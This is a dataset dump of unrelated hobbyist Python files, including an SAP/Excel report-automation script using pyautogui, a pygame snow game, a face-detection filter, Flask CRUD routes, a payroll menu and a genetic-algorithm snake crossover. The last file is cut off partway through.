time.sleep(3)\n if reportname == 'R4':\n for i in range(30):\n gui.press(['down'])\n gui.press('enter')\n time.sleep(3)\n if reportname == 'R5':\n #default 31\n for i in range(23):\n gui.press(['down'])\n gui.press('enter')\n time.sleep(3)\n print('opened ' + reportname)\n\ndef copyR_Reports():\n #not working!!\n confirm = search('topofEXCEL' , 40)\n if confirm == None:\n print('could not find Excel when copying report')\n quit()\n time.sleep(3)\n gui.press(['up', 'up', 'up', 'left', 'left'])\n gui.hotkey('ctrl', 'shift', 'down')\n gui.hotkey('ctrl', 'c')\n print('Copied info in report!')\n time.sleep(3)\n closeExcel()\n close = search('savetoClip', 10)\n if close == None:\n print('could not maintain info saved to clipboard')\n quit()\n gui.click(close)\n print('closed Excel')\n time.sleep(3)\n\ndef runQuery(name):\n gui.hotkey('ctrl','f')\n #max expected number of characters in transaction title\n for i in range(25):\n gui.press('backspace')\n gui.typewrite(name)\n time.sleep(1)\n gui.press('enter')\n\n print('Ran query ' + name)\n\ndef saveAs(reportname):\n print('Saving' + reportname + 'Now')\n saveAsWindow = search('SaveAsWindow', 45)\n if saveAsWindow == None:\n print('Save window never opened')\n quit()\n gui.typewrite(reportname)\n save = search('SAVE', 3)\n if save == None:\n print('Could not saveAs')\n quit()\n gui.click(save)\n saveYes = search('saveYes', 4)\n if saveYes == None:\n print('Could not saveAs')\n quit()\n gui.click(saveYes)\n print(reportname + ' saved')\n time.sleep(5)\n\ndef runReport(transName):\n if transName == 'ZMMH0010':\n gui.hotkey('shift', 'f5')\n time.sleep(1)\n gui.typewrite('/Geisler')\n gui.press(['down','down'])\n gui.hotkey('ctrl', 'shift', 'right')\n gui.press('backspace')\n gui.press('f8')\n time.sleep(1)\n gui.press('f8')\n time.sleep(3)\n print('Running ' + transName + '. Waiting for report to load. 15 minutes?')\n\n #boom have you ever seen a great function as this?\n list = long_search('LIST', 1320)\n #takes like 15 mins\n if list == None:\n print('PD2 Report didn\\'t load')\n quit()\n gui.click(list)\n gui.move(0, 90)\n time.sleep(2)\n gui.move(400, 0)\n time.sleep(1)\n gui.move(0, 30)\n gui.click()\n time.sleep(4)\n confirmSpread = search('confirmSpreadsheet', 10)\n if confirmSpread == None:\n print('Could not save as spreadsheet')\n quit()\n gui.click(confirmSpread)\n time.sleep(10)\n saveAs('PD2-PO-Report-New.xlsx')\n\n if transName == 'SQ01':\n preq = search('PREQ-DATA', 10)\n if preq == None:\n print('could not find PREQ-Data query.')\n print('assuming it is already selected')\n #print('Cancelling SQ01')\n #eventually this will mean that you go to the next transaction, so it'll reopen PD2\n #return 'F'\n #quit()\n else:\n gui.click(preq)\n\n time.sleep(2)\n gui.press('f8')\n time.sleep(3)\n #confirm = search('PREQ-CONFIRM', 15)\n #if confirm == None:\n # print('could not confirm PREQ-Data query selection')\n # print('Cancelling SQ01')\n # return 'F'\n #gui.click(confirm)\n deleteG50()\n #enterR5 = search('PREQ_MULTIPLE_SELECTION', 10)\n #if enterR5 == None:\n # print('Could not enter R5 info')\n # print('Cancelling SQ01')\n #gui.click(enterR5)\n gui.press('tab')\n gui.press('tab')\n gui.press('enter')\n time.sleep(3)\n #delete\n gui.hotkey('shift', 'f4')\n time.sleep(3)\n #paste\n gui.hotkey('shift','f12')\n time.sleep(3)\n #confirm\n gui.press('f8')\n time.sleep(3)\n #run transaction\n gui.press('f8')\n print('Successfully started running PREQ-DATA')\n reportDone = search('saveReportSQ01', 20)\n if reportDone == None:\n print('Report did not load')\n quit()\n print('report loaded. Save now.')\n gui.moveTo(reportDone)\n gui.move(220, -50)\n gui.click()\n spread = search('Spreadsheet', 10)\n if spread == None:\n print('Could not save as spreadsheet')\n quit()\n gui.click(spread)\n #confirmSpread = search('confirmSpreadsheet', 25)\n #if confirmSpread == None:\n # print('Could not save as spreadsheet')\n # quit()\n #gui.click(confirmSpread)\n saveAs('PD2-POReq-Data-New.xlsx')\n\n if transName == 'orderStatus':\n gui.hotkey('shift', 'f5')\n time.sleep(1)\n z00 = search('z00', 5)\n if z00 == None:\n print('could not change variant')\n quit()\n gui.click(z00)\n for i in range(10):\n gui.press(['right'])\n gui.hotkey('ctrl','shift','left')\n gui.press('backspace')\n gui.press(['up','up'])\n gui.typewrite('ICCOM-ORDER')\n time.sleep(1)\n gui.press('f8')\n multi = search('orderStatusMultiSelect', 10)\n if multi == None:\n print('could not enter R1 info. Could not select multiple selections')\n quit()\n gui.click(multi)\n time.sleep(3)\n gui.hotkey('shift','f4')\n time.sleep(3)\n gui.hotkey('shift','f12')\n time.sleep(3)\n gui.press('f8')\n time.sleep(3)\n gui.press('f8')\n saveExcel = long_search('downloadToExcel', 1500)\n if saveExcel == None:\n print('Status Report did not load')\n quit()\n gui.click(saveExcel)\n time.sleep(5)\n gui.press('enter')\n time.sleep(5)\n gui.press('enter')\n #waits until the saveas window says 'file already exists'\n window = long_search('order_status_window', 300)\n if window != None:\n print('report never finished loading')\n\n #left off here\n\n\n\n\ndef openSAP2():\n gui.click(x = 558, y = 1044)\n\ndef openSAP():\n SAP_icon = search('SAP icon', 5)\n if SAP_icon == None:\n SAP_icon = search('orangeSAP', 5)\n if SAP_icon == None:\n quit()\n gui.click(SAP_icon)\n\ndef openTransaction2(transName):\n gui.typewrite(transName)\n gui.press('enter')\n time.sleep(2)\n\ndef openTransaction(transName):\n trans = search(transName, 5)\n if trans == None:\n print('Failed. Could not open ' + transName)\n trans = search(transName + '2', 5)\n if trans == None:\n print('Failed. Could not open ' + transName)\n quit()\n gui.click(trans, clicks = 2, interval = .3)\n print('Opened ' + transName)\n\ndef stopTransaction():\n for i in range(5):\n gui.press('f3')\n time.sleep(2)\n\ndef open_KSP(mode):\n if (mode == 1):\n openSAP()\n time.sleep(15)\n gui.hotkey('ctrl', 'f')\n gui.typewrite('KSP')\n print('opening KSP')\n gui.press('enter')\n print('waiting for ksp to load')\n time.sleep(30)\n gui.press('f12')\n print('ksp opened successfully')\n\ndef open_PD2(mode):\n if (mode == 1):\n #open SAP\n openSAP()\n time.sleep(10)\n # open PD2\n PD2 = search('PD2', 20)\n if (PD2 == None):\n print('PD2 not found in SAP window, checking for the clicked variant (blue)')\n PD2_clicked = search('PD2_clicked', 20)\n gui.click(PD2_clicked, clicks = 2, interval = .3)\n print('opening PD2...')\n time.sleep(7)\n gui.press('f12')\n else:\n gui.click(PD2, clicks = 2, interval = .3)\n print('opening PD2...')\n time.sleep(15)\n print('waiting for confirm')\n gui.press('f12')\n\n #check if security is already bypassed\n PD2_window = search('PD2open', 20)\n if (PD2_window == None):\n\n security_ok = search('security_taskbar', 30)\n if security_ok != None:\n gui.click(security_ok)\n enterPKI()\n time.sleep(10)\n print('security bypassed')\n return\n PD2_window = search('PD2open', 15)\n\n if PD2_window != None:\n print('PD2 security is already bypassed')\n time.sleep(7)\n gui.press('f12')\n elif security_ok != None:\n enterPKI()\n else:\n print('unkown error')\n\n time.sleep(10)\n\n if (mode == 2):\n print('maximizing PD2')\n openSAP()\n gui.move(130, -100)\n gui.click()\n print('re-opened PD2')\n\ndef checkMultipleLogon():\n multiple = search('mul', 10)\n if multiple == None:\n print('No other PD2 windows open')\n return\n\n\ndef openOutlook():\n icon = search('outlookIcon', 5)\n if icon == None:\n print('Outlook not found.')\n quit()\n gui.click(icon)\n time.sleep(20)\n #maximizes email window\n gui.hotkey('alt', 'space')\n gui.press(['down','down','down','down', 'enter'])\n\n time.sleep(1)\n print('opened outlook')\n\ndef downloadPDF():\n gui.click(x = 522, y = 406)\n time.sleep(1)\n gui.click(x = 1385, y = 500)\n time.sleep(1)\n gui.click(x = 1217, y = 703)\n time.sleep(1)\n gui.press('enter')\n time.sleep(3)\n gui.click(x = 522, y = 406)\n gui.press(['down','down','down','down'])\n\ndef searchToday(numberOfTimes, text):\n #searches numberOfTimes through your mailbox\n #hopefully stops when it reaches the yesterday section\n #if it never finds the yesterday, then it stops after numberOfTimes tries\n\n if numberOfTimes == 0:\n print('failed to recognize \"yesterday\" in inbox. Searched {} times.'.format(numberOfTimes))\n return\n\n yesterday = search('yesterday', 2)\n if yesterday != None:\n print('reached end of today section in mailbox')\n return\n\n gui.press('down')\n readScreen2(text)\n\n return searchToday(numberOfTimes - 1, text)\n\n\n\ndef DB1():\n #start PD2 PO Report New\n open_PD2(1)\n openTransaction2('ZMMH0010')\n runReport('ZMMH0010')\n\n closeExcel()\n\n goDesktop()\n openAccess('DE')\n runQuery('01a-PD2-PO-Report-Update')\n\ndef DB2():\n open_PD2(1)\n stopTransaction()\n goDesktop()\n openFolder('New')\n openReport2('R5')\n copyR_Reports()\n goDesktop()\n open_PD2(2)\n openTransaction2('SQ01')\n runReport('SQ01')\n closeExcel()\n openAccess('DE')\n runQuery('01b-PD2-PReq-Update')\n print('awaiting user input for save files')\n\n time.sleep(30)\n\ndef DB3():\n goDesktop()\n\n openFolder('New')\n openReport2('R1')\n copyR_Reports()\n goDesktop()\n open_PD2(2)\n stopTransaction()\n openTransaction('orderStatus')\n runReport('orderStatus')\n #unfinished but straightforward\n #openAccess('DE')\n #runQuery('01b-PD2-PReq-Update')\n\n\n#begin the RPA\n\ntime.sleep(5)\n#openTransaction('orderStatus')\nDB2()\n#openOutlook()\n#searchToday(30, 'Dominik Linke')\n#OCR_Search('hello', 350,353,761,490,50)\n","sub_path":"RDA.py","file_name":"RDA.py","file_ext":"py","file_size_in_byte":18772,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"185020213","text":"import pygame\nimport random\n\nblue = (213,235,255)\nwhite = (255,255,255)\nblack = (0,0,0)\nred = (255,0,0)\nlacivert = (0,66,123)\n\n\npygame.init()\nsize=[1380,700]\npygame.display.set_caption(\"Platform Game\")\nscreen=pygame.display.set_mode(size)\nsaga_kaydırma = 50;\nasagı_kaydırma = 50;\nkaydırma_mesafe_sag = 5;\nkaydırma_mesafe_asagı = 5;\nsnow_list = []\nx_hız = 0\ny_hız = 0\nx_konum = 10\ny_konum = 600\ntoplam = 0\n\nfor j in range(100):\n x = random.randrange(0, 1380)\n y = random.randrange(0, 700)\n snow_list.append([x, y])\n\nsonuc = False\nzaman = pygame.time.Clock()\narka_plan = pygame.image.load(\"arka_plan.jpg\").convert()\nkarakter_resim = pygame.image.load(\"karakter.png\").convert()\nkarakter_resim.set_colorkey(black)\nana_platform = pygame.image.load(\"ana_platform.jpg\").convert()\nkasırga = pygame.image.load(\"kasırga.jpg\").convert()\nkasırga.set_colorkey(black)\n\nwhile sonuc == False:\n for event in pygame.event.get():\n if event.type == pygame.QUIT:\n sonuc = True\n if event.type == pygame.KEYDOWN:\n if event.key == pygame.K_LEFT:\n x_hız = -5\n y_hız = 5\n if event.key == pygame.K_RIGHT:\n x_hız = 5\n y_hız = 5\n if event.key == pygame.K_UP:\n if toplam < 11:\n y_hız = -5\n toplam += 1\n else:\n y_hız = 5\n if event.key == pygame.K_DOWN:\n y_hız = 5\n\n if event.type == pygame.KEYUP:\n if event.key == pygame.K_LEFT:\n x_hız = 0\n y_hız = 5\n if event.key == pygame.K_RIGHT:\n x_hız = 0\n y_hız = 5\n if event.key == pygame.K_UP:\n y_hız = 50\n toplam = 0\n if event.key == pygame.K_DOWN:\n y_hız = 5\n\n x_konum = x_konum + x_hız\n y_konum = y_konum + y_hız\n if x_konum > 1300:\n x_konum = 1300\n if x_konum < 0:\n x_konum = 0\n if y_konum > 600:\n y_konum = 600\n if y_konum < 0:\n y_konum = 0\n\n\n screen.fill(blue)\n screen.blit(arka_plan, [0, 0])\n screen.blit(karakter_resim,[x_konum,y_konum])\n screen.blit(ana_platform,[0,670])\n screen.blit(kasırga,[saga_kaydırma,asagı_kaydırma])\n image = pygame.Surface([50,50]).convert()\n\n asagı_kaydırma += kaydırma_mesafe_asagı\n saga_kaydırma += kaydırma_mesafe_sag\n if saga_kaydırma > 1330 or saga_kaydırma < 0:\n kaydırma_mesafe_sag *= -1\n if asagı_kaydırma > 650 or asagı_kaydırma < 0:\n kaydırma_mesafe_asagı *= -1\n\n\n for j in range(len(snow_list)):\n pygame.draw.circle(screen, lacivert, snow_list[j], 2)\n snow_list[j][1] += 1\n if snow_list[j][1] > 700:\n y = random.randrange(-50, -10)\n snow_list[j][1] = y\n x = random.randrange(0, 1380)\n snow_list[j][0] = x\n\n\n pygame.display.flip()\n zaman.tick(60)\npygame.quit ()\n","sub_path":"untitled1/ssssss.py","file_name":"ssssss.py","file_ext":"py","file_size_in_byte":2919,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"157703877","text":"\"\"\"\n Filter AffectNet\n\n Go through every image on a dataset recognising faces\n using MTCNN.\n For each face take its bounding box\n\n author: Ricardo Kleinlein && Miguel Taibo\n date: 02/2020\n\n Usage:\n python filter_affectnet.py --datapath \n\n Options:\n --longSize : Height and width of the boundingbox\n --face-size : minimun face size to detect\n --save-bb : save detected faces boundingboxes\n --ouput-dir : directory to save results\n ##TODO parametrizar el tamaño de salida de los boundingboxes\n\"\"\"\n\n\nimport os\nimport csv\nfrom PIL import Image\nimport pandas as pd\nimport numpy as np\n\n\nfrom mtcnn.mtcnn import MTCNN\nfrom os.path import join\nfrom arguments import FilterAffectnet\nfrom tqdm import tqdm\n\nfix_coord = lambda x: 0 if x < 0 else x\n\ndef update(program_info, frame_info, output_dir='results', save_bb=False):\n \"\"\"Append the information of the current frame to the\n program overall knowledge.\n\n Args:\n program_info (dict, list): Paths and features of each face\n frame_info (dict, list): Vectors and features of each face\n output_dir (str, optional): Output directory\n save_bb (bool, optional): Whether or not save a copy of the bbs\n\n Return:\n an updated version of the program_info\n \"\"\"\n init_item = len(program_info['img']) # Global iterator idx\n if len(frame_info['img']) > 0:\n for item in range(len(frame_info['img'])):\n program_info['size'].append(frame_info['size'][item])\n\n program_info['confidence'].append(frame_info['confidence'][item])\n\n img_path = join(\n output_dir, 'boundingbox', 'img_' + str(init_item) + '.png')\n if save_bb:\n program_info['img'].append(img_path)\n img = Image.fromarray(frame_info['img'][item])\n img.save(img_path)\n else:\n program_info['img'].append('not_saved')\n\n # vector_path = join(\n # output_dir, 'embedding', 'embedding_' + str(init_item))\n # np.save(vector_path, frame_info['embedding'][item], allow_pickle=True)\n # program_info['embedding'].append(vector_path + '.npy')\n program_info['framepath'].append(frame_info['framepath'][item])\n\n init_item += 1\n\n return summary\n\n\ndef detect(frame, framepath, size_threshold, detection_model):\n \"\"\"MTCNN Face detection for an image.\n\n Args:\n frame (float): np.ndarray with the frame pixels\n framepath (str): Path to the frame it belongs to\n size_threshold (int): min area of face in pixels\n detection_model (keras.Model): Detection model\n\n Return:\n dict of lists of the face images detected\n and their sizes and confidence in detection\n \"\"\"\n faces = detection_model.detect_faces(frame)\n frame_info = {'framepath': [],\n 'img': [],\n 'size': [],\n 'confidence': []}\n are_faces = True if len(faces) > 0 else False\n if are_faces:\n for face in faces:\n coord = face['box'] # [x0, y0, width, height]\n coord[0] = fix_coord(coord[0])\n coord[1] = fix_coord(coord[1])\n conf = face['confidence']\n # face_size = coord[2] * coord[3]\t# area\n face_size = (2 * coord[2]) + (2 * coord[3]) # length\n if face_size >= size_threshold:\n\n cropped_face = frame[coord[1]:coord[1]+coord[3],coord[0]:coord[0]+coord[2]]\n cropped_face = Image.fromarray(cropped_face).resize((128, 128))\n cropped_face = np.asarray(cropped_face)\n\n frame_info['img'].append(cropped_face)\n frame_info['size'].append(face_size)\n frame_info['confidence'].append(conf)\n frame_info['framepath'].append(framepath)\n\n return frame_info\n\n\nif __name__ == '__main__':\n args = FilterAffectnet().parse()\n\n image_list = []\n dir_list = sorted(os.listdir(args.datapath))\n\n for directory in tqdm(dir_list):\n im_list = sorted(os.listdir(join(args.datapath,directory)))\n for im in im_list:\n image_list.append(join(args.datapath,directory,im))\n\n detection_model = MTCNN()\n\n summary = {'framepath': [],\n 'img': [],\n 'size': [],\n 'confidence': []}\n if args.save_bb:\n os.makedirs(join(args.output_dir, 'boundingbox'), exist_ok=True)\n\n for img_path in tqdm(image_list):\n image = np.asarray(Image.open(img_path).convert('RGB'))\n faces = detect(image,\n img_path,\n args.face_size,\n detection_model)\n\n summary = update(program_info=summary,\n frame_info=faces,\n output_dir=args.output_dir,\n save_bb=args.save_bb)\n\n pd.DataFrame(summary).to_csv(join(\n args.output_dir, 'detection_and_encoding.csv'), index=None)","sub_path":"filter_affectnet.py","file_name":"filter_affectnet.py","file_ext":"py","file_size_in_byte":5048,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"249682596","text":"#!/usr/bin/env python\n\nimport argparse\n\nimport instance_occlsegm_lib\n\nfrom instance_occlsegm_lib.contrib import synthetic2d\n\n\nif __name__ == '__main__':\n parser = argparse.ArgumentParser(\n formatter_class=argparse.ArgumentDefaultsHelpFormatter,\n )\n parser.add_argument('--aug', action='store_true')\n args = parser.parse_args()\n\n dataset = synthetic2d.datasets.ARC2017SyntheticDataset(\n do_aug=args.aug, aug_level='all'\n )\n instance_occlsegm_lib.datasets.view_class_seg_dataset(dataset)\n","sub_path":"demos/instance_occlsegm/examples/synthetic2d/semantic_segmentation/view_dataset_synthetic.py","file_name":"view_dataset_synthetic.py","file_ext":"py","file_size_in_byte":521,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"611724785","text":"from flask import session\nfrom app.models import treaty\nfrom app.main import main\n\n@main.route('/add/right///')\ndef add_right():\n if Rights.query.filter_by(cat=c, subcat=s, desc=d).first() is None:\n right = Rights(cat=c, subcat=s, desc=d)\n db.session.add(right)\n db.session.commit()\n\n@main.route('/add/ttof//')\ndef add_ttof():\n if TreatyToForum.query.filter_by(fid=fi, tid=ti).first() is None:\n tttof = TreatyToForum(fid=fi, tid=ti)\n db.session.add(ttof)\n db.session.commit()\n\n@main.route('/add/forum/')\ndef add_forum():\n if Forum.query.filter_by(name=n).first() is None:\n forum = Forum(name=n)\n db.session.add(forum)\n db.session.commit()\n\n@main.route('/add/ttor//')\ndef add_ttor():\n if TreatyToRight.query.filter_by(rid=ri, tid=ti).first() is None:\n ttor = TreatytoRight(rid=ri, tid=ti)\n db.session.add(ttor)\n db.session.commit()\n\n@main.route('/add/treaty//')\ndef add_treaty():\n if Treaty.query.filter_by(name=n, url=u) is None:\n treaty = Treaty(name=n, url=u)\n db.session.add(treaty)\n db.session.commit()\n\n@main.route('/add/ttoc///')\ndef add_ttoc():\n if TreatyToCountry.query.filter_by(cid=ci, tid=ti, date=d).first() is None:\n ttoc = TreatyToCountry(cid=ci, tid=ti, date=d)\n db.session.add(ttoc)\n db.commit()\n\n@main.route('/add/country/')\ndef add_country():\n if Country.query.filter_by(name=n).first() is None:\n country = Country(name= n)\n db.session.add(country)\n db.commit()\n\n@main.route('/delete/rights/cat/')\ndef delete_rights_category():\n cats = Rights.query.filter_by(cat=c).all()\n while len(cats) is not 0:\n db.session.delete(cats)\n db.session.commit()\n cats = Rights.query.filter_by(cat=c).all()\n\n@main.route('delete/rights/subcat/')\ndef delete_rights_subcategory():\n subcats = Rights.query.filter_by(subcat=s).all()\n while len(subcats) is not 0:\n db.session.delete(subcats)\n db.session.commit()\n subcats = Rights.query.filter_by(subcat=s).all()\n\n@main.route('delete/rights/disc/')\ndef delete_rights_description():\n descs = Rights.query.filter_by(desc=d).all()\n while len(descs) is not 0:\n db.session.delete(descs)\n db.session.commit()\n descs = Rights.query.filter_by(desc=d).all()\n\n@main.route('delete/ttof/fid/')\ndef delete_ttof_fid():\n ttof_entry = TreatytoForum.query.filter_by(fid=f).first()\n if ttof_entry is not None:\n db.session.delete(ttof_entry)\n db.session.commit()\n\n@main.route('delete/ttof/tid/')\ndef delete_ttof_tid():\n ttof_entry = TreatytoFormat.query.filter_by(tid=t).first()\n if ttof_entry is not None:\n db.session.delete(ttof_entry)\n db.session.commit()\n\n@main.route('delete/forum/')\ndef delete_forum():\n forum = Forum.query.filter_by(name=n).first()\n if forum is not None:\n db.session.delete(forum)\n db.session.commit()\n\n@main.route('delete/ttor/rid/')\ndef delete_ttor_rid():\n ttor_entry = TreatyToRight.query.filter_by(rid=r).first()\n if ttor_entry is not None:\n db.session.delete(ttor_entry)\n db.session.commit()\n\n@main.route('delete/ttor/tid/')\ndef delete_ttor_fid():\n ttor_entry = TreatyToRight.query.filter_by(tid=t).first()\n if ttor_entry is not None:\n db.session.delete(ttor_entry)\n db.session.commit()\n\n@main.route('delete/treaty/')\ndef delete_treaty():\n treaty = Treaty.query.filter_by(name=n).first()\n if treaty is not None:\n db.session.delete(treaty)\n db.session.commit()\n\n@main.route('delete/ttoc/cid/')\ndef delete_ttoc_cid():\n ttoc_entry = TreatyToCountry.query.filter_by(countryid=c).first()\n if ttoc_entry is not None:\n db.session.delete(ttoc_entry)\n db.session.commit()\n\n@main.route('delete/ttoc/tid/')\ndef delete_ttoc_tid():\n ttoc_entry = TreatyToCountry.query.filter_by(treatyid=t)\n if ttoc_entry is not None:\n db.session.delete(ttoc_entry)\n db.session.commit()","sub_path":"app/main/views-basic.py","file_name":"views-basic.py","file_ext":"py","file_size_in_byte":4031,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"20320477","text":"#copyright 2013 rachel kelly\n#homework 5 - payroll\n\ndef choiceA(empDict):\n print(\"add employee\")\n newEmpl = input(\"What is the last name of the new employee?\" )\n #newEmpl as a variable could be called anything here:\n #new function means tabula rasa for variables.\n if newEmpl in empDict:\n print(\"Someone with that last name is already in the dict. Headed back to main menu.\")\n choiceMenu(empDict)\n elif newEmpl not in empDict:\n lastN = newEmpl\n firstN = input(\"What is the first name of the new employee? \")\n wage = float(input(\"What is his or her wage? \"))\n hoursWorked = float(input(\"How many hours did he or she work? \"))\n gross = wage*hoursWorked\n newEmpl = [lastN, firstN, wage, hoursWorked, gross]\n empDict[lastN] = newEmpl\n else:\n print(\"error\")\n quittin(empDict)\n\ndef choiceD(empDict):\n print(\"delete employee\")\n delEmp = input(\"Which employee would you like to delete? \")\n if delEmp in empDict:\n del empDict[delEmp]\n elif delEmp not in empDict:\n print(delEmp,\"not in dictionary.\")\n else:\n print(\"error\")\n quittin(empDict)\n \n\ndef choiceM(empDict):\n print(\"modify employee\")\n empToModify = input(\"Whose employee information would you like to modify? Last name only please.\")\n if empToModify in empDict:\n print(empDict[empToModify])\n subchoice = input(\"What do you want to modify? (l)ast name, (f)irst name, (w)age, or (h)ours worked?\")\n if subchoice == \"l\":\n newL = input(\"What is the new last name? \")\n empDict[empToModify][0] = newL\n empDict[newL] = empDict[empToModify]\n del empDict[empToModify]\n print(empDict)\n elif subchoice == \"f\":\n newF = input(\"What is the new first name? \")\n empDict[empToModify][1] = newF\n print(empDict[empToModify])\n elif subchoice == \"w\":\n newW = float(input(\"What is the new wage? \"))\n empDict[empToModify][2] = newW\n oldH = float(empDict[empToModify][3])\n newG = newW*oldH\n empDict[empToModify][4] = newG\n print(empDict[empToModify])\n elif subchoice == \"h\":\n newH = float(input(\"What are the new hours worked?\"))\n empDict[empToModify][3] = newH\n oldW = float(empDict[empToModify][2])\n newG = oldW*newH\n empDict[empToModify][4] = newG(\"\\n\").strip()\n print(empDict[empToModify])\n else:\n print(\"error\") \n elif empToModify not in empDict:\n print(\"that employee isn't listed. try adding them instead.\") \n else:\n print(\"error\")\n quittin(empDict)\n\ndef choiceP(empDict):\n for line in empDict:\n print(empDict[line])\n quittin(empDict)\n\ndef choiceMenu(empDict):\n print(\"\"\"\n a - add a new employee\n d - delete an employee\n m - modify an employee\n p - print all employees\n \"\"\")\n choice = input(\"Which do you want to do, a d m or p? \")\n if choice == \"a\":\n choiceA(empDict)\n elif choice == \"d\":\n choiceD(empDict)\n elif choice == \"m\":\n choiceM(empDict)\n elif choice == \"p\":\n choiceP(empDict)\n elif choice == \"0\":\n file.close()\n input(\"press enter to exit\")\n else:\n choiceMenu(empDict)\n\ndef quittin(empDict):\n quittin = input(\"\\nContinue to menu? y brings you to the menu, n writes info to file and quits.\")\n if quittin == \"y\":\n choiceMenu(empDict)\n elif quittin == \"n\":\n file = open(\"payroll.txt\",\"w\")\n for employee in empDict:\n allvalues = empDict[employee]\n for i in range(5):\n file.write(str(allvalues[i]) + \", \")\n file.write(str(allvalues[4]) + \"\\n\")\n else:\n choiceMenu(empDict)\n\ndef main():\n file = open(\"payroll.txt\",\"r\")\n empDict = dict()\n lastN = \"\"\n firstN = \"\"\n wage = 0.0\n hoursWorked = 0.0\n gross = 0.0\n for line in file:\n lastN, firstN, wage, hoursWorked, gross = line.strip().split(\",\")\n newEmpl = [lastN, firstN, wage, hoursWorked, gross]\n empDict[lastN] = newEmpl\n file.close()\n choiceMenu(empDict)\n\ndef run():\n main()\n","sub_path":"functions.py","file_name":"functions.py","file_ext":"py","file_size_in_byte":4296,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"578324417","text":"from modules import *\nfrom sys import argv\n\nif __name__ == '__main__':\n\n script, pickle_file, out_file = argv\n\n # load classifier from file\n regressor = RFRegressor.load_from_pickle(pickle_file)\n print(regressor)\n\n data = regressor.data\n vdata = regressor.vdata\n\n print('Training samples: {}'.format(str(len(data['features']))))\n print('Validation samples: {}'.format(str(len(vdata['features']))))\n\n all_data = dict()\n\n all_data['feature_names'] = data['feature_names']\n all_data['label_name'] = data['label_name']\n all_data['labels'] = list()\n all_data['features'] = list()\n\n for i, label in enumerate(data['labels']):\n all_data['labels'].append(label)\n all_data['features'].append(data['features'][i])\n\n for i, label in enumerate(vdata['labels']):\n all_data['labels'].append(label)\n all_data['features'].append(vdata['features'][i])\n\n param = {'trees': regressor.trees,\n 'samp_split': regressor.samp_split,\n 'samp_leaf': regressor.samp_leaf,\n 'max_feat': regressor.max_feat}\n\n ulim = 1.0\n llim = 0.0\n\n # initialize RF classifier\n model = RFRegressor(**param)\n\n print(model)\n\n # fit RF classifier using training data\n model.fit_data(all_data)\n\n model.get_adjustment_param(clip=0.01,\n data_limits=[ulim, llim],\n over_adjust=1.05)\n\n model.get_training_fit()\n\n print(model)\n print(model.training_results)\n\n out_file = Handler(filename=out_file).file_remove_check()\n print(out_file)\n\n model.pickle_it(out_file)\n","sub_path":"regression/make_final_classifier.py","file_name":"make_final_classifier.py","file_ext":"py","file_size_in_byte":1622,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"86509844","text":"import sys\n\ndef search(string, sub):\n\tif len(string) >= len(sub):\n\t\ti = 0\n\t\twhile i <= len(string) - len(sub):\n\t\t\tj, k = 0, 0\n\t\t\twhile True:\n\t\t\t\tif j >= len(sub): break\n\t\t\t\ts = string[i + k]\n\t\t\t\tc = sub[j]\n\t\t\t\tif c == '\\\\' and j + 1 < len(sub) and sub[j + 1] == '*':\n\t\t\t\t\tc = '\\\\*'\n\t\t\t\t\tj += 1\n\t\t\t\tif c == '*':\n\t\t\t\t\tif j == len(sub) - 1: return True\n\t\t\t\t\tsub = sub[j + 1:]\n\t\t\t\t\ti += j\n\t\t\t\telif c != s and not (c == '\\\\*' and s == '*'): break\n\t\t\t\telif j == len(sub) - 1: return True\n\t\t\t\tj, k = j + 1, k + 1\n\t\t\ti += 1\n\treturn False\n\nfor line in open(sys.argv[1]):\n\tstring, sub = line.rstrip().split(',')\n\tprint('true' if search(string, sub) else 'false')","sub_path":"hard/python/03_string_searching.py3","file_name":"03_string_searching.py3","file_ext":"py3","file_size_in_byte":652,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"476251695","text":"import random\nimport traceback\n\nfrom model_epsilon import ModelEpsilon\nfrom snake_class import Snake\nfrom utils import clear\n\n\ndef create_model():\n model2 = ModelEpsilon(11, 10, 10, 10, 4)\n return model2\n\n\n# @cronometra\n# @cronometra\ndef crossover(ind1, ind2):\n # NESTE PASSO ESTOU MUTANDO OS PARAMETROS DO IINDIVUO 2 E INDUVIDUO 1 PARA\n\n # ESTA FUNCAO FAZ COM QUE O INDIVIDUO TENHA PAREMETROS NAO ALTERADOS TENHA ALGUNS PESOS ORIGINAIS E REALIZO A MUTAÇÃO NOS PESOS DO CRUZAMENTO\n\n for idx in range(len(ind1)):\n\n if idx % 2 == 0:\n for hidden in range(len(ind1[idx])):\n cxpoint = random.randint(1, len(ind1[idx][hidden]))\n ind1[idx][hidden][cxpoint:], ind2[idx][hidden][cxpoint:] = ind2[idx][hidden][cxpoint:] * 1.05, \\\n ind1[idx][\n hidden][\n cxpoint:] * 1.05\n\n # array_mut1 = np.random.randint(0, 2, size=(len(ind1[idx][hidden]),))\n # ind1[idx][hidden] = np.array(\n # [ind1[idx][hidden][j] * 1.1 if array_mut1[j] == 1 else ind1[idx][hidden][j] * 0.90 for j in\n # range(len(array_mut1))])\n #\n # array_mut2 = np.random.randint(0, 2, size=(len(ind2[idx][hidden]),))\n # ind2[idx][hidden] = np.array(\n # [ind2[idx][hidden][j] * 1.1 if array_mut2[j] == 1 else ind2[idx][hidden][j] * 0.90 for j in\n # range(len(array_mut2))])\n\n else:\n cxpoint = random.randint(1, len(ind1[idx]))\n ind1[idx][cxpoint:], ind2[idx][cxpoint:] = ind2[idx][cxpoint:] * 1.05, ind1[idx][cxpoint:] * 1.05\n\n # array_mut1 = np.random.randint(0, 2, size=(len(ind1[idx]),))\n # ind1[idx] = np.array(\n # [ind1[idx][j] * 1.1 if array_mut1[j] == 1 else ind1[idx][j] * 0.90 for j in range(len(array_mut1))])\n #\n # array_mut2 = np.random.randint(0, 2, size=(len(ind2[idx]),))\n # ind2[idx] = np.array(\n # [ind2[idx][j] * 1.1 if array_mut2[j] == 1 else 